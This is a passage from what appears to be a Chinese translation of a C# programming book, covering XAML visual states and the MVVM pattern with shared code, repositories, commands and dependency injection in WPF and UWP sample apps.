<x:Boolean>False</x:Boolean> </DiscreteObjectKeyFrame.Value> </DiscreteObjectKeyFrame> </ObjectAnimationUsingKeyFrames> <ObjectAnimationUsingKeyFrames Storyboard.TargetProperty="(Control.IsEnabled)" Storyboard.TargetName="button2"> <DiscreteObjectKeyFrame KeyTime="0"> <DiscreteObjectKeyFrame.Value> <x:Boolean>False</x:Boolean> </DiscreteObjectKeyFrame.Value> </DiscreteObjectKeyFrame> </ObjectAnimationUsingKeyFrames> </Storyboard> </VisualState> </VisualStateGroup> </VisualStateManager.VisualStateGroups> 30.9.3 设置自定义的状态 现在需要设置状态。为此,可以调用VisualStateManager类的GoToState方法。在代码 隐藏文件中,OnEnable和OnDisable方法是页面上两个按钮的Click事件处理程序(代码文 件VisualStatesUWP/ MainPage.xaml.cs): private void OnEnable(object sender, RoutedEventArgs e) { VisualStateManager.GoToState(this, "Enabled", useTransitions: true); } private void OnDisable(object sender, RoutedEventArgs e) { VisualStateManager.GoToState(this, "Disabled", useTransitions: true); } 在真实的应用程序中,可以以类似的方式更改状态,例如执行网络调用时,用户不应 该处理页面内的一些控件。用户仍应被允许单击取消按钮。通过改变状态,还可以显示进 度信息。 30.10 小结 本章介绍了样式化WPF和UWP应用程序的许多功能。XAML便于分开开发人员和设 计人员的工作。所有UI功能都可以使用XAML创建,其功能用代码隐藏文件创建。 我们还探讨了许多形状和几何图形元素,它们是后面几章学习的所有其他控件的基 础。基于矢量的图形允许XAML元素缩放、剪切和旋转。 可以使用不同类型的画笔绘制背景和前景元素,不仅可以使用纯色画笔、线性渐变或 放射性渐变画笔,而且可以使用可视化画笔完成反射功能或显示视频。 第31章 模式和XAML应用程序 本章要点 ● 共享代码 ● 创建模型 ● 创建存储库 ● 创建视图模型 ● 定位器 ● 依赖注入 ● 视图模型间的消息传递 ● 使用IoC容器 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● Books Desktop App (WPF) ● Books Universal App (UWP) 31.1 使用MVVM的原因 技术和框架一直在改变。我用ASP.NET Web Forms创建了公司网站的第1版 (http://www.cninnovation.com)。在ASP.NET MVC出现时,我试着把网站的功能迁移到 MVC。进度比预期的要快得多。一天之内就把完整的网站改为MVC。该网站使用SQL Server,集成了RSS提要,显示了培训和图书。关于培训和图书的信息来自SQL Server数 据库。可以快速迁移到ASP.NET MVC,只是因为我从一开始就分离了关注点,为数据访 问和业务逻辑创建了独立的层。有了ASP.NET Web Forms,可以在ASPX页面中直接使用 数据源和数据控件。分离数据访问和业务逻辑,一开始花了更多的时间,但它变成一个巨 大的优势,因为它允许单元测试和重用。因为以这样的方式进行分离,所以移动到另一个 技术真是太容易了。 对于Windows应用程序,技术也变得很快。多年来,Windows Forms技术包装了本地 Windows控件,来创建桌面应用程序。之后出现了Windows Presentation Foundation(WPF),在其中用户界面使用XML for Applications Markup Language (XAML)定义。Silverlight为在浏览器中运行的、基于XAML的应用程序提供了一个轻 量级的框架。Windows Store应用程序随着Windows 8而出现,在Windows 8.1中改为通用 Windows应用程序,运行在个人电脑和Windows Phone上。在Windows 8.1和Visual Studio 2013中,创建了三个带有共享代码的项目,同时支持个人电脑和手机。接着又变成Visual Studio 2015、Windows 10、通用Windows平台(UWP)。一个项目可以支持个人电脑、手 机、Xbox One、Windows IoT、带有Surface Hub的大屏幕,甚至Microsoft的HoloLens。 一个支持所有Windows 10平台的项目可能不满足需求。可以编写一个仅支持Windows 10的程序吗?一些客户可能仍在运行Windows 7。在这种情况下,应使用WPF,但它不支 持手机和其他Windows 10设备。如何支持Android和iOS?在这里,可以使用Xamarin创建 C#和.NET代码,但它是不同的。 目标应该是使尽可能多的代码重用,支持所需的平台,很容易从一种技术切换到另一 种。这些目标(在许多组织中,管理和开发部门加入DevOps,会很快给用户带来新的功 能,修复缺陷)要求自动化测试。单元测试是必须的,应用程序体系结构需要支持它。  注意: 单元测试参见第19章。 有了基于XAML的应用程序,Model-View-ViewModel(MVVM)设计模式便于分离 视图和功能。该设计模式是由Expression Blend团队的John Gossman发明,能更好地适应 XAML,改进了Model-View-Controller (MVC)和Model-View-Presenter(MVP)模式, 因为它使用了XAML的首要功能:数据绑定。 有了基于XAML的应用程序,XAML文件和后台代码文件是紧密耦合的。这很难重用 后台代码,单元测试也很难做到。为了解决这个问题,人们提出了MVVM模式,它允许 更好地分离用户界面和代码。 原则上,MVVM模式并不难理解。然而,基于MVVM模式创建应用程序时,需要注 意更多的需求:几个模式会发挥作用,使应用程序工作起来,使重用成为可能,包括依赖 注入机制独立于视图模型的实现和视图模型之间的通信。 本章介绍这些内容,有了这些信息,不仅可以给Windows应用程序和桌面应用程序使 用相同的代码,还可以在Xamarin的帮助下把它用于iOS和Android。本章给出一个示例应 用程序,其中包括了所有不同的方面和模式,实现很好的分离,支持不同的技术。 31.2 定义MVVM模式 首先看看MVVM模式的起源之一:MVC设计模式。Model-View-Controller (MVC) 模式分离了模型、视图和控制器(见图31-1)。模型定义视图中显示的数据,以及改变和 操纵数据的业务规则。控制器是模型和视图之间的管理器,它会更新模型,给视图发送要 显示的数据。当用户请求传入时,控制器就采取行动,使用模型,更新视图。 图31-1  注意: MVC模式大量用于ASP.NET MVC,参见第41章。 通过Model-View-Presenter(MVP)模式(见图31-2),用户与视图交互操作。显示 程序包含视图的所有业务逻辑。显示程序可以使用一个视图的接口作为协定,从视图中解 除耦合。这样就很容易改变单元测试的视图实现。在MVP中,视图和模型是完全相互隔 离的。 图31-2 基于XAML的应用程序使用的主要模式是Model-View-ViewModel模式(MVVM) (见图31-3)。这种模式利用数据绑定功能与XAML。通过MVVM,用户与视图交互。视 图使用数据绑定来访问视图模型的信息,并在绑定到视图上的视图模型中调用命令。视图 模型没有对视图的直接依赖项。视图模型本身使用模型来访问数据,获得模型的变更信 息。 图31-3 本章的下面几节介绍如何使用这个架构与应用程序创建视图、视图模型、模型和其他 需要的模式。 31.3 共享代码 在创建这个示例解决方案,开始创建模型之前,需要回过头来看看不同的选项如何在 不同的平台之间共享代码。本节讨论不同选项,考虑需要支持的不同平台和所需要的 API。 31.3.1 使用API协定和通用Windows平台 通用Windows平台定义了一个可用于所有Windows 10设备的API。然而,这个API在 新版本中会改变。使用Project Properties中的Application设置(参见图31-4),可以定义应 用程序的目标版本(这是要构建的版本)和系统所需的最低版本。所选Software Developer Kits (SDK)的版本需要安装在系统上,才能验证哪些API可用。为了使用目标 版本中最低版本不可用的特性,需要在使用API之前,以编程方式检查设备是否支持所需 要的具体功能。 图31-4 通过UWP可以支持不同的设备系列。UWP定义了几种设备系列:通用、桌面 (PC)、手机(平板电脑、phablet、手机)、物联网(Raspberry Pi、Microsoft Band)、 Surface Hub、Holographic (HoloLens)以及Xbox。随着时间的推移,会出现更多的设备 系列。这些设备系列提供的API只能用于这个系列。通过API协定指定设备系列的API。每 个设备系列可以提供多个API协定。 可以使用设备系列特有的特性,也可以创建运行在所有设备上的二进制图像。通常情 况下,应用程序不支持所有的设备系列,可能支持其中的一些。为了支持特定的设备系 列,使用这些系列的API,可以在Solution Explorer中添加一个Extension SDK;选择 References | Add Reference,然后选择Universal Windows | Extensions (参见图31-5)。在 那里可以看到安装的SDK,并选择需要的SDK。 图31-5 选择Extension SDK后,验证API协定是否可用,就可以在代码中使用API。 ApiInformation类(名称空间Windows.Foundation.Metadata)定义了IsApiContractPresent方 法,在其中可以检查特定主次版本的API协定是否可用。下面的代码片段需要 Windows.Phone.PhoneContract的主版本1。如果本协定可用,就可以使用VibrationDevice: if (ApiInformation.IsApiContractPresent("Windows.Phone.PhoneContract", 1)) { VibrationDevice vibration = VibrationDevice.GetDefault(); vibration.Vibrate(TimeSpan.FromSeconds(1)); } 在所有地方检查API协定的代码是否非常复杂?其实,如果只针对单一设备系列,就 不需要检查API是否存在。在前面的示例中,如果应用程序只针对手机,就不需要检查 API。如果针对多个设备平台,就只需要检查特定于设备的API调用。可以使用通用的API 编写有用的应用程序,用于多个设备系列。如果用很多特定于设备的API调用支持多个设 备系列,建议避免使用ApiInformation,而应使用依赖注入,参见本章后面的一节“服务和 依赖注入”。 31.3.2 使用共享项目 对API协定使用相同的二进制只适用于通用Windows平台。如果需要分享代码,就不 能使用这个选项,例如,在带有WPF的Windows桌面应用程序和UWP应用程序之间,或 Xamarin.Forms应用程序和UWP应用程序之间。在不能使用相同二进制文件的地方创建这 些项目类型,就可以使用Visual Studio 2015的Shared Project模板。 使用Shared Project模板与Visual Studio创建的项目,没有建立二进制——没有建立程 序集。相反,代码在所有引用这个共享项目的项目之间共享。在每个引用共享项目的项目 中编译代码。 创建一个类,如下面的代码片段所示,这个类可用于引用共享项目的所有项目。甚至 可以通过预处理器指令使用特定于平台的代码。Visual Studio 2015的Universal Windows App模板设置条件编译符号WINDOWS_UWP,以便将这个符号用于应该只为通用 Windows平台编译的代码。对于WPF,通过WPF项目把WPF添加到条件编译符号中。 public partial class Demo { public int Id { get; set; } public string Title { get; set; } #if WPF public string WPFOnly { get; set; } #endif #if WINDOWS_UWP public string WinAppOnly {get; set; } #endif } 通过Visual Studio编辑器编辑共享代码,可以在左上方的栏中选择项目名称,灰显不 用于实际项目的部分代码(参见图31-6)。编辑文件时,智能感知功能还为所选的相应项 目提供了API。 图31-6 除了使用预处理器指令之外,还可以在WPF或通用Windows平台项目中保留类的不同 部分。所以要把类声明为partial。  注意: C#的partial关键字参见第3章。 在WPF项目中定义相同的类名和相同的名称空间时,就可以扩展共享类。还可以使 用基类(假设共享项目没有定义基类): public class MyBase { // etc. } public partial class Demo: MyBase { public string WPFTitle => $"WPF{Title}"; } 31.3.3 使用移动库 共享代码的另一个选择是共享库。如果所有技术都可以使用.NET Core,这就是一个 简单的任务:创建一个.NET Core库,就可以在不同的平台之间共享它。如果需要支持的 技术可以利用NuGet包.NET Core,则最好使用它们。否则,就可以使用移动库。  注意: 创建NuGet包参见第17章。 通过移动库,Microsoft维护了一个平台支持哪些API的大表。创建移动库时,所显示 的对话框可以配置需要支持的目标平台。图31-7显示选中了.NET Framework 4.6、 Windows Universal 10.0、Xamarin.Android和Xamarin.iOS。选择了它们后,就限制了所有 选定的目标平台可用的API。对于当前的选择,可以在对话框中阅读注释,.NET Framework 4.5、Windows 8和Xamarion.iOS (Classic)会自动成为目标平台,因为这些平 台的API都位于上述选项的交集中。 图31-7 移动库的主要缺点是任何代码都不能只用于特定的平台。对于所有选定的目标平台, 可以在所有地方使用可用的代码。解决这个问题的一个办法是,可以使用移动库为代码定 义协定,在需要的地方使用特定于平台的库实现协定。要在特定于平台的库中使用代码和 不特定于平台的库,可以使用依赖注入。如何做到这一点是本章更大示例的一部分,参 见“视图模型”一节。 31.4 示例解决方案 示例解决方案包括一个WPF和一个Universal Windows Platform应用程序,用于显示和 编辑一个图书列表。为此,解决方案使用如下项目: ● BooksDesktopApp——WPF项目,是桌面应用程序的UI,使用.NET Framework 4.6 ● BooksUniversalApp——UWP应用程序项目,是现代应用程序的UI ● Framework——一个移动库,包含用于所有基于XAML的应用程序的类 ● ViewModels——一个移动库,包含用于WPF和UWP的视图模型 ● Services——一个移动库,包含视图模型使用的服务 ● Models——一个移动库,包含共享模型 ● Repositories——一个移动库,返回和更新项 ● Contracts——一个移动库,用于使用依赖注入的协定接口 移动库用目标.NET Framework 4.6和Windows Universal 10.0配置。 图31-8显示了项目及其依赖关系。其他项目都需要Framework和Contracts。看看 ViewModels项目,它会调用服务,但不依赖服务——服务只实现了协定。 图31-8 应用程序的用户界面有两个视图:一个视图显示图书列表,一个视图显示图书的详细 信息。从列表中选择一本书,就会显示细节。也可以添加和编辑图书。 31.5 模型 下面先使用Models库定义Book类型。这个类型在UI中显示和编辑。为了支持数据绑 定,需要在用户界面中更新的属性值需要实现变更通知。BookId属性只是显示,而不改 变,所以变更通知不需要使用这个属性。SetProperty方法由基类BindableBase定义(代码 文件Models/Book.cs): public class Book: BindableBase { public int BookId { get; set; } private string _title; public string Title { get { return _title; } set { SetProperty(ref _title, value); } } private string _publisher; public string Publisher { get { return _publisher; } set { SetProperty(ref _publisher, value); } } public override string ToString() => Title; } 31.5.1 实现变更通知 XAML元素的对象源需要依赖属性或INotifyPropertyChanged,才允许更改通知与数据 绑定。有了模型类型,才能实现INotifyPropertyChanged。为了让一个实现可用于不同的项 目,实现代码在类BindableBase的Framework库项目内完成。INotifyPropertyChanged接口 定义了PropertyChange事件。为了触发更改通知,SetProperty方法实现为一个泛型函数, 以支持任何属性类型。在触发通知之前,检查新值是否与当前值不同(代码文件 Framework / BindableBase.cs): public abstract class BindableBase: INotifyPropertyChanged { public event PropertyChangedEventHandler PropertyChanged; protected virtual void OnPropertyChanged( [CallerMemberName] string propertyName = null) { PropertyChanged? .Invoke(this, new PropertyChangedEventArgs(propertyName) ); } protected virtual bool SetProperty<T>(ref T item, T value, [CallerMemberName] string propertyName = null) { if (EqualityComparer<T>.Default.Equals(item, value)) return false; item = value; OnPropertyChanged(propertyName); return true; } }  注意: 依赖属性参见第29章。 31.5.2 使用Repository模式 接下来,需要一种方法来检索、更新和删除Book对象。使用ADO.NET Entity Framework可以在数据库中读写图书。虽然Entity Framework 7可以在通用Windows平台上 访问,但通常这是一个后台任务,因此本章未涉及。为了使后端可以在客户端应用程序中 访问,在服务器端选择ASP.NET Web API技术。这些主题参见第38章和第42章。在客户 端应用程序中,最好能独立于数据存储。为此,定义Repository设计模式。Repository模式 是模型和数据访问层之间的中介,它可以作为对象的内存集合。它抽象出了数据访问层, 使单元测试更方便。 通用接口IQueryRepository定义的方法通过ID获取一项,或获取一个条目列表(代码 文件Contracts / IQueryRepository.cs): public interface IQueryRepository<T, in TKey> where T: class { Task<T> GetItemAsync(TKey id); Task<IEnumerable<T>> GetItemsAsync(); } 通用接口IUpdateRepository定义方法来添加、更新和删除条目(代码文件Contracts /IUpdateRepository.cs): public interface IUpdateRepository<T, in TKey> where T: class { Task<T> AddAsync(T item); Task<T> UpdateAsync(T item); Task<bool> DeleteAsync(TKey id); } IBooksRepository接口为泛型类型T定义Book类型,使前两个泛型接口更具体(代码 文件Contracts / IBooksRepository.cs): public interface IBooksRepository: IQueryRepository<Book, int>, IUpdateRepository<Book, int> { } 使用这些接口,可以改变存储库。创建一个示例库BooksSampleRepository,它实现接 口IBooksRepository的成员,包含一个图书的初始列表(代码文件 Repositories/BooksSampleRepository.cs): public class BooksSampleRepository: IBooksRepository { private List<Book> _books; public BooksRepository() { InitSampleBooks(); } private void InitSampleBooks() { _books = new List<Book>() { new Book { BookId = 1, Title = "Professional C# 6 and .NET Core 1.0", Publisher = "Wrox Press" }, new Book { BookId = 2, Title = "Professional C# 5.0 and .NET 4.5.1", Publisher = "Wrox Press" }, new Book { BookId = 3, Title = "Enterprise Services with the .NET Framework", Publisher = "AWL" } }; } public Task<bool> DeleteAsync(int id) { Book bookToDelete = _books.Find(b => b.BookId == id); if (bookToDelete ! = null) { return Task.FromResult<bool>(_books.Remove(bookToDelete)); } return Task.FromResult<bool>(false); } public Task<Book> GetItemAsync(int id) { return Task.FromResult(_books.Find(b => b.BookId == id)); } public Task<IEnumerable<Book>> GetItemsAsync() => Task.FromResult<IEnumerable<Book>>(_books); public Task<Book> UpdateAsync(Book item) { Book bookToUpdate = _books.Find(b => b.BookId == item.BookId); int ix = _books.IndexOf(bookToUpdate); _books[ix] = item; return Task.FromResult(_books[ix]); } public Task<Book> AddAsync(Book item) { item.BookId = _books.Select(b => b.BookId).Max() + 1; _books.Add(item); return Task.FromResult(item); } }  注意: 存储库定义了异步方法,但这里不需要它们,因为书的检索和更新只 在内存中进行。方法定义为异步,是因为用于访问ASP.NET Web API或Entity Framework实体框架的存储库在本质上是异步的。 31.6 视图模型 下面创建包含视图模型的库。每个视图都有一个视图模型。在样例应用程序中, BooksView与BooksViewModel相关,BookView与BookViewModel相关。视图和视图模型 之间是一对一映射。实际上,视图和视图模型之间还有多对一映射,因为视图存在于不同 的技术中——WPF和UWP。视图模型必须对视图一无所知,但视图要了解视图模型。视 图模型用移动库实现,这样就可以把它用于WPF和UWP。 移动库ViewModels引用了Contracts、Models和Framework库,这些都是移动库。 视图模型包含的属性用于要显示的条目和要执行的命令。BooksViewModel类定义了 属性Books(用于显示图书列表)和SelectedBook(当前选择的书)。BooksViewModel还 定义了命令GetBooksCommand和AddBookCommand(代码文件ViewModels / BooksViewModel.cs): public class BooksViewModel: ViewModelBase { private IBooksService _booksService; public BooksViewModel(IBooksService booksService) { // etc. } private Book _selectedBook; public Book SelectedBook { get { return _selectedBook; } set { if (SetProperty(ref _selectedBook, value)) { // etc. } } } public IEnumerable<Book> Books => _booksService.Books; public ICommand GetBooksCommand { get; } public async void OnGetBooks() { // etc. } private bool _canGetBooks = true; public bool CanGetBooks() => _canGetBooks; private void OnAddBook() { // etc. } public ICommand AddBookCommand { get; } } BookViewModel类定义了属性Book,来显示所选的书和命令SaveBookCommand(代 码文件ViewModels / BookViewModel .cs): public class BookViewModel: ViewModelBase { private IBooksService _booksService; public BookViewModel(IBooksService booksService) { // etc. } public ICommand SaveBookCommand { get; } private void LoadBook(object sender, BookInfoEvent bookInfo) { if (bookInfo.BookId == 0) { Book = new Book(); } else { Book = _booksService.GetBook(bookInfo.BookId); } } private Book _book; public Book Book { get { return _book; } set { SetProperty(ref _book, value); } } private async void OnSaveBook() { Book book = await _booksService.AddOrUpdateBookAsync(Book); Book = book; } } 视图模型的属性需要UI更新的更改通知。接口INotifyPropertyChanged通过基类 BindableBase实现。视图模型类派生自ViewModelBase类,来获取这个实现。可以使用 ViewModelBase类来支持视图模型的附加功能,如提供进度信息和输入验证信息(代码文 件Frameworks/ ViewModelBase.cs): public abstract class ViewModelBase: BindableBase { } 31.6.1 命令 视图模型提供了实现ICommand接口的命令。命令允许通过数据绑定分离视图和命令 处理程序方法。命令还提供启用或禁用命令的功能。ICommand接口定义了方法Execute和 CanExecute,以及CanExecuteChanged事件。 要将命令映射到方法,在Framework程序集中定义了DelegateCommand类。 DelegateCommand定义了两个构造函数,其中一个委托可以传递应通过命令调用的方 法,另一个委托定义了命令是否可用(代码文件Framework / DelegateCommand.cs): public class DelegateCommand: ICommand { private Action _execute; private Func<bool> _canExecute; public DelegateCommand(Action execute, Func<bool> canExecute) { if (execute == null) throw new ArgumentNullException("execute"); _execute = execute; _canExecute = canExecute; } public DelegateCommand(Action execute) : this(execute, null) { } public event EventHandler CanExecuteChanged; public bool CanExecute(object parameter) => _canExecute? .Invoke() ? ? tr ue; public void Execute(object parameter) { _execute(); } public void RaiseCanExecuteChanged() { CanExecuteChanged? .Invoke(this, EventArgs.Empty); } } BooksViewModel的构造函数创建新的DelegateCommand对象,在执行命令时,指定 方法OnGetBooks和OnAddBook。CanGetBooks方法返回true或false,这取决于 GetBooksCommand是否可用(代码文件ViewModels/ BooksViewModel.cs): public BooksViewModel(IBooksService booksService) { // etc. GetBooksCommand = new DelegateCommand(OnGetBooks, CanGetBooks); AddBookCommand = new DelegateCommand(OnAddBook); } 分配给GetBooksCommand的CanGetBooks方法返回_canGetBooks的值,其初始值是 true: private bool _canGetBooks = true; public bool CanGetBooks() => _canGetBooks; GetBooksCommand的处理程序(OnGetBooks方法)使用books服务加载所有的书,改 变GetBooksCommand的可用性: public async void OnGetBooks() { await _booksService.LoadBooksAsync(); _canGetBooks = false; (GetBooksCommand as DelegateCommand)? .RaiseCanExecuteChanged(); } 图书服务定义的LoadBooksAsync方法在下一节中实现。 从XAML代码中,GetBooksCommand可以绑定到Button的Command属性上。创建视图 时会详细讨论它: <Button Content="Load" Command="{Binding ViewModel.GetBooksCommand, Mode=OneTime}" />  注意: 在WPF中,当前的数据绑定不能用于事件。当处理程序添加到事件中 时,处理程序会与XAML代码紧密耦合。命令在视图和视图模型之间提供了这个分 离,以允许数据绑定。使用与UWP的编译绑定,数据绑定也可以用于事件。在这里, 命令为事件处理程序提供了额外的功能,因为如果命令可用,它们就提供信息。 31.6.2 服务和依赖注入 BooksViewModel利用实现IBooksService接口的服务。IBooksService使用 BooksViewModel的构造函数注入(代码文件ViewModels /BooksViewModel.cs): private IBooksService _booksService; public BooksViewModel(IBooksService booksService) { _booksService = booksService; // etc. } BookViewModel也是如此;它使用相同的IBooksService(代码文件 ViewModels/BookViewModel. cs): private IBooksService _booksService; public BookViewModel(IBooksService booksService) { _booksService = booksService; // etc. } 接口IBooksService定义了视图模型访问图书所需的所有特性。这个协定在一个移动库 中定义,与视图模型相同,所以视图模型项目可以引用服务协定的项目(代码文件 Contracts/IBooksService.cs): public interface IBooksService { Task LoadBooksAsync(); IEnumerable<Book> Books { get; } Book GetBook(int bookId); Task<Book> AddOrUpdateBookAsync(Book book); } 接口IBooksService使用OnGetBooks方法中的BooksViewModel——GetBooksCommand 的处理程序(代码文件ViewModels / BooksViewModel.cs): public async void OnGetBooks() { await _booksService.LoadBooksAsync(); _canGetBooks = false; (GetBooksCommand as DelegateCommand)? .RaiseCanExecuteChanged(); } 另外,BookViewModel使用IBooksService (代码文件 ViewModels/BookViewModel.cs): private async void OnSaveBook() { Book = await _booksService.AddOrUpdateBookAsync(Book); } 视图模型不需要知道IBooksService的具体实现——只需要该接口。这称为控制反转 (Inversion of Control, IoC)原则或好莱坞原则(“不要打电话给我们,我们会给你打电 话”)。该模式命名为依赖注入。所需的依赖项从别的地方注入(在例子中,它在WPF或 UWP应用程序中)。 服务本身可以用与移动库不兼容的一个项目实现。它只需要兼容UI技术,如WPF或 UWP。视图模型不直接依赖服务的实现,因为它只使用接口协定。 类BooksService实现了接口IBooksService来加载图书,访问一本书,添加或更新图 书。接着它利用先前创建的存储库。BooksService也使用依赖注入。在构造函数中,传递 实现接口IBooksRepository的实例(代码文件Services / BooksService.cs): public class BooksService: IBooksService { private ObservableCollection<Book> _books = new ObservableCollection<Book>( ); private IBooksRepository _booksRepository; public BooksService(IBooksRepository repository) { _booksRepository = repository; } public async Task LoadBooksAsync() { if (_books.Count > 0) return; IEnumerable<Book> books = await _booksRepository.GetItemsAsync(); _books.Clear(); foreach (var b in books) { _books.Add(b); } } public Book GetBook(int bookId) { return _books.Where(b => b.BookId == bookId).SingleOrDefault(); } public async Task<Book> AddOrUpdateBookAsync(Book book) { Book updated = null; if (book.BookId == 0) { updated = await _booksRepository.AddAsync(book); _books.Add(updated); } else { updated = await _booksRepository.UpdateAsync(book); Book old = _books.Where(b => b.BookId == updated.BookId).Single(); int ix = _books.IndexOf(old); _books.RemoveAt(ix); _books.Insert(ix, updated); } return updated; } IEnumerable<Book> IBooksService.Books => _books; } 注入IBooksRepository发生在WPF应用程序的App类中。属性BooksService实例化一个 BooksService对象,并在第一次访问属性时,传递一个新BooksSampleRepository (代码文 件BooksDesktopApp / App.xaml.cs): private BooksService _booksService; public BooksService BooksService => _booksService ? ? (_booksService = new BooksService(new BooksSampleRepository())); BooksViewModel在BooksView类中用ViewModel属性初始化器实例化。在这里,创建 BooksViewModel时,注入BooksService的具体实现(代码文件 BooksDesktopApp/Views/BooksView. xaml.cs): public partial class BooksView: UserControl { // etc. public BooksViewModel ViewModel { get; } = new BooksViewModel((App.Current as App).BooksService); } 31.7 视图 前面介绍了视图模型的创建,现在该学习视图了。在BooksDesktopApp和 BooksUniversalApp项目中,视图定义为Views子目录中的用户控件。 BooksView包含两个按钮(Load和Add)和一个列表框,来显示所有图书,如图31-9 所示。BookView显示一本书的细节,包含一个按钮Save和两个文本框控件,如图31-10所 示。 图31-9 图31-10 主要视图在网格的两列中显示两个用户控件(代码文件BooksDesktopApp / MainWindow xaml): <Window x:Class="BooksDesktopApp.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:BooksDesktopApp" xmlns:uc="clr-namespace:BooksDesktopApp.Views" Title="Books Desktop App" Height="350" Width="525"> <Grid> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <uc:BooksView Grid.Column="0" /> <uc:BookView Grid.Column="1" /> </Grid> </Window> 在UWP项目中,网格以相同的方式定义,但使用Page来替代Window,使用using关键 字而不是clr-namespace定义映射到.NET名称空间的XML别名(代码文件 BooksUniversalApp/MainPage.xaml): <Page x:Class="BooksUniversalApp.MainPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="using:BooksUniversalApp" xmlns:uc="using:BooksUniversalApp.Views"> <Grid Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <uc:BooksView Grid.Column="0" /> <uc:BookView Grid.Column="1" /> </Grid> </Page>  注意: UWP项目的示例不使用通用Windows平台可用的特定控件,比如 CommandBar和RelativePanel,因为本章的重点是可维护、灵活的应用程序架构。具体 的UWP UI控件参见第32章。 31.7.1 注入视图模型 对于视图,重要的是视图模型是如何映射的。为了把视图模型映射到视图上,在后台 代码中定义ViewModel属性,在其中实例化所需的视图模型。代码在WPF和UWP中一 样,但UWP的密封类除外(代码文件BooksDesktopApp/Views/BookView.xaml.cs和 BooksUniversalApp/Views/Book-View.xaml.cs): public sealed partial class BookView: UserControl { // etc. public BooksViewModel ViewModel { get; } = new BooksViewModel((App.Current as App).BooksService); } 31.7.2 用于WPF的数据绑定 对于用于WPF的数据绑定,需要在XAML代码中设置DataContext。在每一个用于元 素的数据绑定中,要在父元素的树中检查DataContext,找出绑定的来源。通过它,可以 根据需要使用不同的来源。然而,为了方便地切换到下一节所示的延迟绑定上,只为根元 素设置一次DataContext。通过表达式{Binding ElementName = booksView}使用元素绑定, 把上下文直接设置为根元素。UserControl本身称为booksView (代码文件 BooksDesktopApp / Views / BooksView.xaml): <UserControl x:Class="BooksDesktopApp.Views.BooksView" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:BooksDesktopApp.Views" x:Name="booksView" DataContext="{Binding ElementName=booksView}"> 在Button控件中,Command属性绑定到视图模型的GetBooksCommand上。因为 BooksView的DataContext设置为BooksView, BooksView的ViewModel属性返回 BooksViewModel,所以使用句点符号和带ViewModel前缀的属性名,把命令绑定到 GetBooksCommand和AddBookCommand属性上。因为命令不会改变,所以使用模式 OneTime是最好的选择: <Button Content="Load" Command="{Binding ViewModel.GetBooksCommand, Mode=OneTime}" /> <Button Content="Add" Command="{Binding ViewModel.AddBookCommand, Mode=OneTime}" /> 数据绑定模式OneTime没有注册更改通知。模式设置为OneWay,就注册了数据源的 更改通知,根据源是实现为一个依赖属性,还是实现INotifyPropertyChanged接口,来更新 用户界面。模式设置为TwoWay不仅从来源中更新UI,而且从UI中更新来源。 ListBox的ItemsSource属性绑定到图书列表上。这个列表可以改变;因此使用模式 OneTime进行数据绑定。对于列表的更新,源需要实现INotifyCollectionChanged。为此, 可以给图书使用ObservableCollection类型,如前面的BooksService实现所示。在列表框中 选择一项,会更新SelectedBook属性,这也会更新BookViewModel。其他视图模型的更新 目前缺失,因为需要实现一个消息传递机制,参见本章后面的“使用事件传递消息”一节。 为了显示列表框中的每一项,使用一个DataTemplate,其中TextBlock绑定到Book的Title属 性上: <ListBox Grid.Row="1" ItemsSource="{Binding ViewModel.Books, Mode=OneTime}" SelectedItem="{Binding ViewModel.SelectedBook, Mode=TwoWay}" > <ListBox.ItemTemplate> <DataTemplate> <StackPanel Orientation="Vertical"> <TextBlock Text="{Binding Title, Mode=OneWay}" /> </StackPanel> </DataTemplate> </ListBox.ItemTemplate> </ListBox>  注意: XAML语法参见第29章。XAML的样式化和数据模板参见第30章。 在BookView中,没有什么特别的,所有内容都在BooksView中介绍过了。只是注 意,两个TextBox控件绑定到Book的Title和Publisher属性上,Mode设置为TwoWay,因为 用户应该能够改变其值,更新Book源(代码文件BooksDesktopApp / Views / BookView.xaml): <StackPanel Orientation="Horizontal"> <Button Content="Save" Command="{Binding ViewModel.SaveBookCommand}" /> </StackPanel> <StackPanel Orientation="Vertical" Grid.Row="1"> <TextBox Text="{Binding ViewModel.Book.Title, Mode=TwoWay}" /> <TextBox Text="{Binding ViewModel.Book.Publisher, Mode=TwoWay}" /> </StackPanel>  注意: 绑定的默认模式在不同技术之间是不同的。例如,用TextBox元素的 Text属性绑定,对于WPF默认为TwoWay绑定。对于编译绑定,使用相同的属性和元 素,就默认为OneTime模式。为了避免混淆,最好总是显式地定义模式。  注意: 用于WPF的数据绑定的所有功能参见第34章。WPF比UWP支持更多 的绑定选项。另一方面,UWP提供了编译的数据绑定,而不能用于WPF。本章的重点 是数据绑定,很容易在用于WPF示例的传统数据绑定和用于UWP应用程序示例的已编 译数据绑定之间转换。 就应用程序的当前状态而言,可以运行WPF应用程序,在单击Load按钮后,查看填 充的图书列表。还没有实现的是在列表框中选择书后,填充BookView,因为 BookViewModel需要了解变更。在“消息传递”一节实现用于UWP项目的数据绑定后,就 完成它。 31.7.3 用于UWP的已编译数据绑定 在UWP中,可以使用与WPF相同的数据绑定。然而,绑定表达式利用了.NET反射。 Microsoft Office和Windows 10中的一些工具利用了XAML,这里使用了数以百计的控件, 绑定就太慢了。直接设置属性会快很多。直接设置属性的缺点是,代码共享和单元测试不 像使用本章前面介绍的视图模型那么容易实现。因此,XAML团队发明了已编译的数据绑 定,它现在可以用于UWP,但还不能用于WPF。 当使用已编译的数据绑定时,就使用x: Bind标记扩展,而不是使用Binding。除了标 记扩展元素的名称之外,比较x: Bind和Binding,看起来很类似,如下面的代码片段所 示: <TextBox Text="{Binding ViewModel.Book.Title, Mode=TwoWay}" /> <TextBox Text="{x:Bind 